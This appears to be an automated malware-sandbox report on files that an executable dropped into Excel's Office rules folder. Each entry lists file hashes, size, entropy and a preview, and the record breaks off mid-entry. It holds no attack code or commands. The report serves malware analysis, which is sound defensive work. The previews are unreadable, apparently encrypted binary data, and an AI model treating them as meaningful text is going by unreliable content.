C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.870163424662368
Encrypted:	false
SSDEEP:	48:LSZEJS4XB8taEoFuP47SOxFHhS7R1ttUKBzc4EQoGD:LSZcIaE74WbttU4csoe
MD5:	308309362A31ED37CE4759AAB0F7BDE8
SHA1:	090F1A6929D69AD5A31BC7294997392175997290
SHA-256:	D44BE47EDC2013C5610D4C390BA446E76A40C1E17A9E8BC5A80322971A4809C7
SHA-512:	2F53F43D12D1AF96B138C4A123DB457151A66FEA792CCEADD18D9309EC3B4B433F2F8245D25487D4C3046CFD38854AA8A94FCCA43458C585E306D66E960A78BE
Malicious:	false
Preview:	<?xml.....S....N...o .w'....2+.ge...CCW.9I.6...&..d=......J.W.....Q.r....!`-.!?.....o.'.N#...g6...y.}...4..K.\8. .E.mk.. 2...].JN..7.t.T).2...'H7t..........X./....Q....,)...y..p.k.....f.Ja.b.@Y...7)f.....04d...PD...t'......x.X..i...a.&.b&Q...v...q.n.Q.K..^..C.......L....p......"..n.)fhy....7..o.w.Sj....s...ct...FZm/.o....\|5...3..jA.?.>?g....H...S......J..sT....S....HY.r.kL.Z......W....''.hY..Q..$....`g.d[!\|..8W.5c.pi..6Q.7..s.2$hp....&RQ$K.5F..)...q.l.Ca..#&j.......~\|..P\...y.tR...+.d.%........^.;...XH.sK..=...u .. .<...U.~.4W.V...!...~"l"...1.....1..%.@t....<..{.....e3"....,X..."C~Z.T3w...*oRm.X.zm._F.M..F.7.e.1..N....&.........9...)..\|.4..s.`f.....{....4<.D.....m...:.......3.v.U.1d..Et.P......Mt.e..4!.....2.7._..?!j$...7..(...A.q.........^.M.j{.+...1\|..R.Gc.4........H...N.[..7.S.RKx\|.L..\|....S...n.#.._....R.P..EZ.~..k..H]"M...F....~.-.V0..C..,...B.Z..w......J!kB......E.5...?..F..s.'U..X.U...Z.......s<n.DW^6X.O......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8864981955979
Encrypted:	false
SSDEEP:	48:QZ6ByLEFPnBn98L/6nMyoylnXs9hUoze4SAzqejwS8TI7D:QZIyLUfL8LEMyoCnXsni4SwiTm
MD5:	EBA6D0A5443BB337FAADD96BC85771BD
SHA1:	9A701B9150D6627A7D625AF9934E224FC14A7E71
SHA-256:	6093B4A7FABD11054435E4F6B5BAA6BDC3643C045E8741682FAC12EF5656F328
SHA-512:	45221F6D974AF164FB5166DAB0047AF459AC57694C27A198F3FC17989BB7588B405F33B41C3648329617F6176D36CF595550163341D6891D5AFE7FC38D2FBF3F
Malicious:	false
Preview:	<?xmlU.A..fS:..-)U..R...u....V.M..;C.~(..zK!....n]n.Q......C B"@.FA.....i;.n.u...........VJ+......Y..&...'0p.<9On....:k.GnPa.2.:c.r..\..@.x.....O.bn,.U.a...E;Mx..,..%<.M_.....w...r..o.....qG....qF]j..>..d...3\|.I......-h.\I.....hs.hO.R.><.W.......V.Zj.T....A...AX.?EN./....}w7]....u..a.7S.....J.......s...A.O....x......qk...uc......H9p.r)..f..?m.......1P...W.dA..U...0......_H..I.WGvH...;.E.a._b.........L.....o....p/,...I...@i@..HC..q5~...p.NR2".&.Jssd.f3.MA..E.J..&M.......;L...^?,..N...........C.&<.Ce.OG...W.a.T.v.0...$......C..[Y.4........$.....A......-hu...K.wJw.T..>.W W;...4~r.$.2...$....2_.../\3W..R4<D..i..j/.....P]...!_.'.{...'y..jGt............,....-....b.[!....![.#{n...0Z$h.aH..i.r..g.\.}.x...Q..:..e...0.!...1......{..X.H.U.r.$.o....U.@k~.r....h.d....l...C..&dg..."jy....\..+.Wh..B...u....?..Kz.p?....v..Wt.r..iy@.;.&l..I...\|.@\|m.J.8t....)..m.]._.{..>0.....D._.es.....9.&..TM......R.oc.=.E..2j.H......J.zG...u..vN..,.Rp3r<.^E2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.869285396360716
Encrypted:	false
SSDEEP:	48:cXFJO3DzxTaBXfG/K6wZl2PNUuP83DRGrtL3onna5WvprruD:cW3+4twZYPFSDgrB3zIpG
MD5:	180845219A9D71A2B284AE9B923E3052
SHA1:	BF6D8180E18ECFE372A15FDD277463E95B5FF6EB
SHA-256:	3685B3A6BE96EFB738AC7AC0FF160B651C52D79B160A1264551AFC9552B7A4A6
SHA-512:	B835C86DC7987ADA1EF22D06A7CB91876B4FB84B8AA5B6C43984DB085C46CA97A4A4D333B4685729C3CD0A973102CF91240A608D35DD40F2E1C7146EBD9B32DB
Malicious:	false
Preview:	<?xml...s.>.<.8z..E....J...]..W..9...$.cK..H.X......{..]...T.U..3N.m$.#.I...6e@..j...].t...1.....yF0.LQ;.(.sJFv.L..E..1+.mG..H..@0....?v...q...-co5.:,..bv..X@n6..w..z..#.yp.{..TW!$C......U..j.hFrv:...l......7<.C.d.'...sL...ad[> ).7s.V.. ..........0...N...3(n.\|#...[L...P..p.(N........[..\>.%ti..,.;.^.z...a......y&$...S+S.o..o.eG.....U2.7..C.W..8C7+...4.Y.v...5......._V..+`X.).`=.cQ...a. MZ...P...}.[.........P.w3.....g0..p0...Q....<UC#..E..@.M..Bj.8...L.-..H.(..R.h.R....X....YJ...n<..lV.0.>..u.....4.1..w.jV..=....[l.l....+...+M.T..z.TI.7~8.Q.bXOl...6]ugd"`.....l....a...&............{..'.5HB~Q.)...I.z...'.2....GT..]./o.}"..u^..i~.G(.#'.\|.X..Q2......G9..t.....H..%.\...L(.._v[(..n..6<.y.8....f..9.ck.A..lI.7.a.O.....7,.6...Gb....X$....Q.Fy~..#F.8.NO.....E.....tA.7...X_:..2rM.......F..;c...9.b.C.X...._..........w6....%a..L.(p..A!Pl......E.......OaDwvr.5..k.l..#....W......<!.....k/.O1......t.Vh.....\.j_.>....E..`Q.H......R\ODSp.....7+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882277027144468
Encrypted:	false
SSDEEP:	48:/st2FyJA6ZKjpO/fnSxaI8IPAgcXjdLhyjusuD:ryP/fn3HIP5cBLhyjc
MD5:	8ABF51BCCADD2BCB67687868B38D09E0
SHA1:	F19998AE80FCAE243BEB299A7EC55339A1B07B6E
SHA-256:	F8A5C5A857EF4264B5225DEB2A7BDD8F9E1FD9BFD260E56DF05CB81A26396691
SHA-512:	0916EA4584C1A0C85621B8B5F2D504ADD5C547B2BA8EBD9125D8018BB442C93F39FFC6B966842D6AFB874E204A49BA8D9618A9DECB2BC4475BD38DDFB7E3F2A6
Malicious:	false
Preview:	<?xml..Tw.6.t....$......k..CF..j..%...-..6..&Qd.....l...d.h.)`...O...U...!>P1.aGT.7K.h...l.....z......xz....7........f....Nn.C.r.7.&]..CqR.>E?gl#(Y......VC....j....`o..r......Q.....B......DS .P.a..G>...R.MA..ny...'.b.]2....[........)....g...X..mo.X^.-..6..=.\|o.r^@&..=..,.IP`...uq.o.:...ID....OI..... .....VqH........Y.v.KB u%...d.....TTm.L.2.z).. . .I...\..I).h.r.o$..f5.;.!D....BN...S?...S6.\K..$E.y..$......q9...w5..wlJ..rm\|....U.;...zV..1.-..CdA.d...M.X=.p.#D6...h.^I......o. ..aVV.......N...QE..N_..85....#..K.9..R.A~...{K.....:.............:.q.5.?&.....^..~....zFr.x."7.P88.m..)C..?dU.A+..e......%....n'.."..(i;.m......tz.w2...XS...q.Y..f.WJ..xs........)...w.#.Be.q.7..9.q......9....>....E..W.+.......%...J....Af.6..6.JX_.A.....S.....Rg~.F."21.......y.......:.G`...q.......\|...5x.+7.+........."l.+......\|%.......C./.3Q}Sl.XPm.GY..EG...U...~...6_..~..)..,ZA.}.....&3.Zu.8.9..E..6B..FE.\\|.1Q......[.=....m.g.\..'..F.q=S.f.....<i.......5{8`C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.941322443849377
Encrypted:	false
SSDEEP:	96:dTDLzosVGcruTo2fwmvcyu2X4QbS4OLQFlNM:B0VZrfBGhQbS9LQFl6
MD5:	5FA83A52FD6196068B3910796E87A875
SHA1:	BA2ABAC0227AD7CFEC59040B6E3CEE7ABCDCEE31
SHA-256:	17E420F1288D522F5218E7BDC49C8D92CE25214857EDFB19FE8E5C0B12B49DED
SHA-512:	478618F1A9B4978623640581CF3D17C511870E18299530818B513E78F6765D13B0EA6CF979502DDF55FAA93B00D05189C0594B7E78AB8DC04B03BE298BB29C1A
Malicious:	false
Preview:	<?xml;S..M..2.._.o.l...W....g....{.Z...B......vFe..}.....:._/[.."..8.3..N.V>'..E0)%...<......X..}..v.)x5b..w..D/...`-....I..Fk...E.........y...N..y2..G20'y/..l....f..[Z...k~U3...Z..`QT.S.j....y.@ }..^.X;..HnN....'..Z&.sv..p$I...L.m.3.]0.[. xq<........w;..\|.._..D...8...V.:..g......G.....?..D..T.0..b.f<..\|..<..e..A....Qq..\..N\x.,....<.R.o.s..7.. Sx..D.v..@...E..k....r.N.J.!..."...E.S..D.r.g.@..`..p.M..J...s-.@r].{...,..c%.A.].....}./\...".xI..3.\|..l..Q.y.z.&xqA............0V...../.iq.w.h.S.{.......c..u..f..8..%.......Q.m.l..... b.n....4....D...u0.q..7...D...E/....J.z.=...-Yx.I.ag..Z....WZ..e...=.].J....[....!>.^5.\..x.....`x.....w..%...5B?1~.....g.sm.91..iq.....,.$~.c.....`..X.^X.eH..._.....Sdx.^J..n....V....m.[...`.e.0........7...z....q)3i..v..i.....:..dmnZ..H.6#..8..GJ....M..6d..Kml....M..7o}..2U1..Zm.3`....D...Z.T.v.8._.fs.6...>...nO......x=o.....qW..1.U9..n....6."S6.$[...........`x>....?o..$.B.,.[6.S5.7.......Qa....L...U^......[..9*..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.738823370411645
Encrypted:	false
SSDEEP:	12:jvW8Zte3ktujBFl1deGk4554TSQG0vpfk/HambxbWeISUdNcii9a:jO8fEkUjBFl1U14DOjxxk/HambxTv2bD
MD5:	E3EECFFD32D18D5405C053E914AB734C
SHA1:	0E93255D12B2B392E99A6D2529E69445DCF94080
SHA-256:	8AD86EA4259B8B4599C8203ECAAA7B5D7A6272D41F4E27B826C337C41FDF757E
SHA-512:	761A85C1143583A98A7325AD53C183E8DA64C791050E49166A699F26BB97E092A77E0F1275CF2D6B926DD49ADE819DB178461936D980023525B2EACD3FC09057
Malicious:	false
Preview:	<?xml.....%..`x...`..?.."..[...S(9>8...it#0.E..mK..."..WE...}W4....../...~R..m.n.Vr_....7!....x.Y(..m..N..SV...3\|...a.]U+..`TA.A.S.u.=nf...[".$.{.=lZ..L=t.Z.-..M....M..:0.,+ .b).G.,.4q.B....P..?,.O.Rh..5.......)1.....F..wy..,.M+..b.........A.`..\~......OI.3.ih...t6z...s....?..:.^Q.n..q...._.......`.........f....U2u.,. P.@..N.b....~.c.t.)..2S......9....e..mp....=.....;....._..NH.......z0.Y%=$..ss'.....}hH#.....G8..M.......&..(.:#..M.LJD,..M..M\.1k...f.m....N....w>...n....4....._wd.{w.m.....[.. ).'.Y{..1.. +.dG.U?...&.e.6.,X.3....j.K,....7+y.x.SRc...+...E..@. ...Y............1.w.&.S.l..4N. JlO1....i .uh8.....(VFZ#...0.r+..i@w.}`....AC>^f.`..\|1.!...}....<.r}..\|../q..,...QZ...>O.v...\..`h....$.}.......?.!-'...H..EqByY.v..B0C.g..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.829822591687775
Encrypted:	false
SSDEEP:	24:r8Lrn1GtniBXtQFmaoWbqA1PVMTpdWkTQZ9V3PJphFJnw42bD:r8Lrn16nMio/AFVPkg9VfHF4D
MD5:	04A70817038B4B6097EBAC18E6659553
SHA1:	5882968A4BEDD60FC7D145B25DAF34E1CDA1056A
SHA-256:	E00BCA6360FB7A347F6C5EC529B378A5477741DCC846701D49EB0F0E3B6FCB34
SHA-512:	7E3DF9498FA02159010CCAB6D1100AAC8FA5B5168199CB1590E1D41229E46799F8ECEA5D417C54FB22194E03D35BEC3CEDD2B6E0873A679D3500E874DB0DD536
Malicious:	false
Preview:	<?xml...Q.eAv_.81r+.7_.I..P...Y....,.?PHR..\.t0%t.(...sJ.....m~.......5u8.F..V.....T...r`...y....#.U..U.i/9J..H.6.........o...g.8..V......6.R..AtOS.....&BM..R}...k=.....q&....b$s.....k..y..4&6.b.W..c....A.q...;%....9O%_..\|.>.J=B.....n.bEU...x.V...r.....v..8..=....,\|J=H..T.cCSTal...m..A.....!.j.....l...$....,.x.W4RC.h.$..lu.@u..k.k.!.d..P.<..t...Qk{....Dh.h\|...}..j.f.{(IL))v..#....j....J...T-........b.9$E.9/Q..X.++..#....\|.X..[..RZ....O..0i:.kk\|<Y...T...7.y.9..l".:.E..O.N0.k.F>.=T.v.e..H....1....+..`.D(.is.%.i...U.`......QK..w.d.(wG....`.i=....S;......).........U.t.H..........m..J97.y_.....%A\|\|$.B.~e.O....0..=..........S..N....Lx[.rv..b........7>o..q7C.&..-..?_.M..&J.......F....X....W.6..c..^."....9#..Q..W;.G....>@.l$M7....$...O.?B..<.K.vX.?/.#...".W..K..v[........@.;-}m}......4z.ei/..0A.y`...)..08.A..............V{.-.oGX.j.<..~.i....x@..u..=....W.=......[.".....y...N.X.......i)..)e...Q...mp....{H..M\|...T...N....o.\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.8036035543356945
Encrypted:	false
SSDEEP:	24:l2DA9nWytqKdcNVcuieV+fHc74V7nVACNK1WjrScV2bD:SsWyhdcNCv3k8VxAC/jrwD
MD5:	6EA05042A71CD127BB93F06DD084D42A
SHA1:	F9C6806D26E839D627507CFDBE886176541B296E
SHA-256:	B191DC65CF9D52FF21D5CA81302ACB64FC1B8230E1C1929955B96E820EE5249F
SHA-512:	2DABE07FB479288CBCCC5B14C7B822D4AF7B68D36CF78CA7E3148C83B24C6711822CB8770024BDF17B7749CCAB78B058524B37AD8FC909276AE303293860F7A2
Malicious:	false
Preview:	<?xmlo....%.d.I$..b"....eT...a.H......Vi.Tc..X'..}f2....b.c..Q....W.E\|D..b.V\..j..g-%.{.<`...4.}.~.......O....Ta..4+......P..?...,.R..<K{.miK.sfj.,)..q...w.?7.y..`&..o.t..^N@5&...!.'3E2..@.i.IH..2X3CpB.Y...e..[.;;5).....9../L...B.J^V.7.e.I.5..>....].d.8..Q....x./0..b1.8._N.p..^H..tO.......;.EL..p.28..~f....r...I.......<:...h.udd..NXU._...^..>0v..j/....n...a.Z.T.i{\.....v..V.D..FIIN.Ku.\......<.....;v..#...\....rA.....q..!+.4.c...,.?.w..uP#.zk.....T..q1.~..e.lh...b......:a..\|W.~...].P..... /6w.=.'.s.3...A.@J.4.J..W<g?...;;..P.......d..d..{..PaN..........g..<9oP.x6JI./.c.Z..aK..~4....T.d+.N.<....4...z..kuL....E...~.^.f...\|..>..C....r....^..k.w.....E..@...9W:Wz/.)..."..VQ.4......f!.~./.=3.........=.qS....{wxx%...M..K...."Y.......=.P].;...3.....%1.=.3......w.J...R.o..w3...[..:vW...@C.d....~.G..I..A.Z&=}..S.$..i.p.]..UJ..!y....5w"..r...ex..6.7.?..Z......5..Y2..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8740781415217205
Encrypted:	false
SSDEEP:	24:GxsYoBL/ki7jSzc7xp/A+xGl0OP49O5TT55677XSD8wY7mnS2bbKnP+qMl10bYjW:PBezc7xp4+xH0d5S23VqYKD
MD5:	13C6ACA1F770E66354A5D98DEFC0E2D4
SHA1:	D87867E6CF1F5C75781670DEFDF547ABA45AEB23
SHA-256:	78B48D45F9F31D9E6506CFB059451CAD203E5848FA57743F036D4C2FCD7615FD
SHA-512:	BB2E32A2EA925871F3C8ADA0B47A7582AA87A7E1E4DC87A04AE33F9F089E072EEF44043206BD728BFCC1AF089A0D93DDEF96687099BA7E5C5E692EA72C090F8E
Malicious:	false
Preview:	<?xml.....P.....AB.{..+p..c...bv...d..\|.B}....o(.jh...q..........n"..Z..l...\|.\|6ys....;?y...w.-.;.UOEK..L1..O._?&#K]....\.K....W..c......u..'oZB..`..,.t..>G..uy..J......g.V.Xe.."U.-.......-.E.5.n..z.v k9]./FW&..z.. t..$.A77/?i9#.M,S...^r@.K..@n..r.K.)b$N.\..~{...k..]...U..C.......{.ch......"....b..H..6..........T...7.%.(.....s.....H..L.!...0....S.....x..X@...6t.....7...I@..W...f@}.A.P.7.%..&.KH._.....h..g...p.\|..g..2....w.4]..#.C4.....A. VyL.XP....... .B{.eR..S$....J..o6.N.3.pmD.n..$..x...W(...\.Q.{.....3..7u.\..6#......c..o.`5...dBx.&C..w9.\|...PB.?.....W...W.....~.l.9m..$/=....L..M.c.....s...V{~..........(..&....L...X....}.&..#.........mC..%...'$j.]6C.PQc..N.7D...........=.4g.......(..".....08....?U3sN.&\.\..&..)0U....(..`+.\|.^8.cI.{...@..w..].G....Y.H..T.....i...$......L.,T.@..Z..4Q.m....*P..9....`.....%...c.Gu.$.$.Z.l..H{.Xc.s;.....lm.Y.. $~.L..@...[Y.O.. .X.x.Z...:....4.d.....,uW.......Y....t..dR6.`.'$...i$.S.R.`..$F.3.,Zq ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.889231615316323
Encrypted:	false
SSDEEP:	24:mzWCR0R0CbnepzrEGsrzSNNymlBUHtDv9qHqf8ux44MhsQZKrqV2Zroi+XkImHQg:whSmR4pnSNNINIHETxxMhdArqcZrcXED
MD5:	C783CB71CB304384954AAC714DCF065B
SHA1:	E44A4483B0D8DAAC9139B5B62D6DDEB02BCC1F3E
SHA-256:	A21ED8066A0F990675046CB78D1FC9752D4703A11C4BF47FAF1776C91C3EC3A7
SHA-512:	9F206D960A62EF4FAB165DED5A04490C3F39337796791C68A1FC0F8947391FB09398510575E18B04D9878E43CE22CECBD0E8E4DD4B1A1F0E1621B3E7AD648F15
Malicious:	false
Preview:	<?xml4.......P.X\|.uL..a.b.W.....sk.......5.R..z..2.q.>#.....W......cZi..3......j.:..s.FQ.. .U....".%...3....jK..A.....H.a..........@l....YU..6.$.n.X.D.._.....;f..j.[..."..\|>.S....[..%......)......QR.1.IeS..B..^.=}$r...>...C...x.EVv9<n#.8...w.XE.B.d.+.sa.A....s9..8V.V.....N.$...\|0yH..........@+..J.'H.L.;[%,.M......./\z...#.:+U..7..B..n.....-...W.....y..0.;e.../.2..L..d..Dp..._..8o.n..k2L...xH...2'...S.._k.YO.D.G.R..v.\|..a.&..V+.Z....)P.?_..G.p@...)TS..G....j..T.1...m..KMgs..d.@..~$.$1.n8......z.?.\o........nc.......0....6w[v..I,.k..Zh.]..;?..X........mz....XIm..../C.<..f.c......g`....d.S.N2..}.F....>...8.t..)OQ.........hD../,9.r.C........:.UA.....w...v.f...'e.5....;.`,.....{....7..>..qw...............?.......}...Gv...Xt.!.!.-..LO..R.!..&.`m.Z.;;@@.\...0.]....P.1....R.Y...[.....F/....{.V.&.L...#.`0..*.J..A.2.......E......k.8...?.".J%.>@w!n...~.Y.&..)..Zc..z'.+.nY...O....8.v......0x...T-].~8..p..{.6...-..;...I?m....]P...j......R..g[5.M...}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.752716230030479
Encrypted:	false
SSDEEP:	12:NcL/280994790hb7NKP1N7gA5XLVl0PrhH1X0uALLZWKaJT8fBY4iITSUdNcii9a:ajs3b7NKPfgmpGPrR1EuAXdaJ4LVe2bD
MD5:	47A99749DB1FE83286B538087CF30CCC
SHA1:	8987AF04EA80E5378170FD43B61EB016A46BB8BE
SHA-256:	B0D054BAE729CB5C9EEDE26495094F1A58A15603226F88A9447488D584834812
SHA-512:	54A1493F43F42445CC1FAE784605D37568BCB6E191EF9DA7C66A2E37A0EDBD04416C15AC1D6CD4DA70405A008EFEC32874B70091893E8DFF5A24099C817936B5
Malicious:	false
Preview:	<?xml.m.'A..dK..L...D.F.\^ge.Y9'..}.l....f.%v...."[}..h....7..v.L.i.:iH...T.....i.T..%.n..$g.....r..L.....<[...(.]...j..R.o.C..:G.....Q..$.d.#E..DD......:.....0..s.e..>.8.n..@...(...z.........b:.c..i..\.....4...>c.\...S(......o.A(Q]c....`.0..IJ]..^.-.}C/l.5..J).H...[?.A}.+G..n^1P..1..'..]...\H.Ap.rc....(..W...\|$YR.z,..(0.i...a..F..c......D9.n ..&.....w.....T...]..B.X..8.{...2[s.S....,.._........=X.b.O..C.....k.....i.".w.~..{.q.....:..f......_..GRd...".......F=.J_.'..YZ...O+.....[C...I.nA..{.Ea.:.y.....:.YC....K......D...y..\|..D.I.-.b...../....;.J7.5...?....Z..{.../5.$...>.?.j0yld.PG.C-.Gn._..."....a..1..O...#.z.....F!..@.8f.A...Z....o.Es._Uwqfa...D5m mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.73703442584063
Encrypted:	false
SSDEEP:	24:2gyLlt4ytreW99PFwN50TeCBJOZyEo7ZSK4m622bD:nyjPaW9haX0TeRZyDZSLb9D
MD5:	C332EB0E4C437BFC0F91C60EF0B033BB
SHA1:	AE10AD72068B162D40277AF78BE9940EC038F753
SHA-256:	E1B53A5D2FCE41D61B5EAA767D121F163F6672140E28E075DDEB77CD3A8338A6
SHA-512:	57A692AE300D54745F1FFFBC19A88108D6CD98245A2D870B51BC04AB9C2321E8DDFFEFA0AE2B329923C9B416A2457C58EB0D156245EB530A08C27DE9C0668CA2
Malicious:	false
Preview:	<?xmlI........}..s.....;....\.T.^..}...o.&.. .....b...{.W.G.....?..r;.t...mb.....a!..9=.m..^...}l{7#.7...5.~c... .\<.3.A0..V../.0K.,\vO..$.\...G..g...Q...w....y.......vm...@W...a.E..g...<......iF.e...s,.[@......#.7..'!D.....7&..qv..k5.Xt.c...?.)J...a...K.A.e..f..r.ym..]..J8.3I@..{..A..H...yVa.G.1...=.!x..d]..(...p......<.....d......."y1.n.h.ua&T}..N..\|!.QO.z[...E..d.l......\|..q......=h8...&.....TC.NpfzvM.7E=...x.Rd...a....r.hW.C...O....R....r...O.n..D.....K.s.e.s..f.......U2O.9...7...4..{..9..?.k..R..6.....*..M...M!..g...V..!+E.n.e...F.YP_j;s.+p..M&.W.H.Z[t...T.VA...>Y.0.iWu;...].M.S?z....I...V..W&...z..+B..k!...d.+...8s...1r.....ExV...(..r).....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.88935337500762
Encrypted:	false
SSDEEP:	48:N9Pj11F4TwEXajP7oSaH0/cIev8R0dHj9IMHSxWjuD:bB1wwEmobva0tCMHSxWC
MD5:	6D50C6907C85B9F1395E2344DEA7E984
SHA1:	8755ADB059E63ED05FE0829E0BA3D8BB6C0B7C13
SHA-256:	8796888614AE3AE00BD9C69879A9B3EA3C6099F1EBD8345EE13C06467F6B59E6
SHA-512:	FD3688443A45BF86BE24B6DB1E3188CE3B08A02FF6D2BC9C53DF0316CFE1ADA782C861E284240B72981891C9B5E87A628D552FB8646C3244569E17423E426F22
Malicious:	false
Preview:	<?xmlK.I..._.....n...S..L.Yrf.9..7...ri...>.?F...u../..D.....l...M~..]{...X!_".MZ......=....ZO"EvNr.v.g.x..8."B4B....M.7.[WJ~.1 ....eU../.....+.}....Z.......-.Wg.&.....wK......n....c>.......W~....o....aJ.<.....n..&.....pLhr...)ls:.}......!:Eq.=&.K.Ri.2P.........S.....iP"..Q...1...t.s..4..s..`..........=....H.3.g:...#I...I..W......:vb.o=...aL..R.%}...>...F.].@%.Y.~7P`=\W./;k.4K....U......[....m...E9...:.XLc+.v.4...0.......\.O..p...j.I....h..w..}.......9R.&V..............lF.k..G...#,.g....M..1.wX}c;$.>..j:...}V{]4][....3...hYk.s.U..C.....X..n.5?3X..H..B.i.5....FP...HA....e.x..fJ..2FE....%0.W.}...V.i.T...j...GA..f..i.q...'h.P.k[.?q.B....b..Q....+t}=..Q..3.h......N/.R.3..&/.\|..8.....#...K.......D...O..b.#P...Z..a....4.X.........j.(.T..4.'c9....<.L......j.l.....z.uz....13I \|:...v.i)(..~.5........E..3...a\|....W.>._....l.....0.e.......A...f.....s....i..}...su{l=...ud....\....^......W...g....dA.6ry..nAl...1.w1.u..(. g)..g...^.)[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.880046529082602
Encrypted:	false
SSDEEP:	48:YCfVvKzskYxybJ13HFsfN3Yicq34lH0VHD:YCfVvKzskYQbOZhcVK
MD5:	ED3F29590B85E61BE9201A64002EEB2E
SHA1:	75271C5186554F5DBE7DEB80FF240A8F61B5D4C4
SHA-256:	7B858DC8DA7EA35CA2708612A15CE4CF7D03786EC09540B7C569A3B963D81129
SHA-512:	299DEAB40795092165C61C43E16338D8C24927653BA9218A48DCFAE25D0F84EA8D5E249EA336829E674D23868BF2BE7ECEDB04C232E4D17D34D2C8290574C280
Malicious:	false
Preview:	<?xml0A .s.....-........~......u.l:.....=.$.>.b....k..oSj.X.[...@.."~.z..3.R.%.4.Bi"Jm{2...Uq+%.C+.....k...;R.8.T..{.....>.Ju.I...?.(.?d....,..o..u.P. ...1<M.}.M~..],A.j....f-.h..OXo(.].. ..C.X....h.c..........!D....$.d1.%.^.dT~,C.cn.'.L...;;\.f...7..}?..l.\|,.N.....0@..."..CM$H......R.F.U.S.^{.z\|....=..q..%<....}..r.^...mI..:...Y..X......q.dV....$.3.a......Q..0...taT[YI,.G.N..O.r.t.?0o..uE......E.@...7\|.Ni.Y....e.hC.j...$..Cd..Y&....+..P.,x...5Z{.'.....f<....ru....:;.f....Z......u?..23Oz/.vt...k..6r.UZ....a....E/}.q.._........Q.....7.......d...S<4^...".$(.&. J.Y,6j\.z..k.9.:..p...8p.Ae..Y...:..[Ov...Mn..O.+c.".O..W8....4"8..R~.(..}....lV}.$...?.S.!,.J..Lkz...[.Ow$.WO*.mw..-.;.X..E.q..q..A;..j.i.:c.a9=%......cU..-J4I.p{...... ..t..mm.k...4...5....Ze.f[..s......47\|....&X....I......K...U.d.x7.}...tI}C.k1...:D.s?..s.X..i^.....5..3..S....<.d,.y}M,....u...g2gAfT.v....X.ib,.m.f...w...aN]....I.....\.G....=.....2....F^$.Z..r....Y...O$.".3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.725714053118213
Encrypted:	false
SSDEEP:	12:FCuOsFE4R0KpNWvtap6umidwbUu56W1lZ5rqxjmdarKr9O01Pfi5PItSI+uz3s6H:FCDsFEs0KuFEmuwbUuR3/eF1Kr9ZSPIv
MD5:	832CD3600F252CF2A7B1C63550666BDE
SHA1:	FB6366C00D0ECC59196B4CF4D786DFB8BC498634
SHA-256:	BB155EED04B149F4F17DEA0EBFF43E0C97B217F144CE590DA8E4088FB80628C2
